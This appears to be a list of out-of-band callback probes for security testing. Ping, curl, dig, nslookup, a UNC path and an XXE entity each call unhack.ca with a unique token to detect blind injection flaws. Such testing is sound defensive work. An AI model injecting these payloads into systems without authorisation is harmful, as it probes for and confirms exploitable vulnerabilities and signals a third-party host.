$ ping -c1 -p 0057bdacef76f3a24b1b30c872980f00 unhack.ca
 

$ curl http://unhack.ca/p/57bdacef76f3a24b1b30c872980f
 

$ dig 57bdacef76f3a24b1b30c872980f @unhack.ca
 

$ dig 57bdacef76f3a24b1b30c872980f.ns.unhack.ca
 

C:\> nslookup 57bdacef76f3a24b1b30c872980f unhack.ca
 

C:\> type \\unhack.ca\57bdacef76f3a24b1b30c872980f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/57bdacef76f3a24b1b30c872980f">]>
    <foo>&xxe;</foo>